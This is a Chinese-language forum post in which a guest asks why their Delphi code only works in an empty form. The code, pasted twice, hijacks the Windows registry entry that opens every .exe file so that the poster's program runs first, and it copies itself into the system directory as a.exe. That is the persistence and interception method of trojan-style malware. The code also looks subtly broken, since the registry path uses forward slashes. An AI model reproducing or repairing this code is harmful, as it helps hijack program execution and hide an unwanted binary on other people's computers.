L
l0f
Unregistered / Unconfirmed
GUEST, unregistred user!
我的想法是让程序与EXE关联,任何程序执行前都先执行我的程序,然后猜正常运行,可是这段程序放在一个空的窗体中执行的时候没有问题,如果程序中再多些点东西就不好使了!麻烦各位看看是怎么回事?
(建议先打开REGEDIT以防不测!)
const
ExecName='/a.exe' ;
max=100;
procedure withexe;
var
reg:Tregistry;
HidePath : pChar;
begin
reg:=Tregistry.Create;
reg.RootKey:=$80000000;
reg.OpenKey('exefile/shell/open/command',false);
reg.WriteString('','a "%1" %*');
reg.CloseKey;
GetMem(HidePath, max);
GetSystemDirectory(HidePath, max);
if not CopyFile(pChar(ParamStr(0)), pChar(HidePath+ExecName), TRUE) then WinExec(CmdLine+2,1);
end;
(建议先打开REGEDIT以防不测!)
const
ExecName='/a.exe' ;
max=100;
procedure withexe;
var
reg:Tregistry;
HidePath : pChar;
begin
reg:=Tregistry.Create;
reg.RootKey:=$80000000;
reg.OpenKey('exefile/shell/open/command',false);
reg.WriteString('','a "%1" %*');
reg.CloseKey;
GetMem(HidePath, max);
GetSystemDirectory(HidePath, max);
if not CopyFile(pChar(ParamStr(0)), pChar(HidePath+ExecName), TRUE) then WinExec(CmdLine+2,1);
end;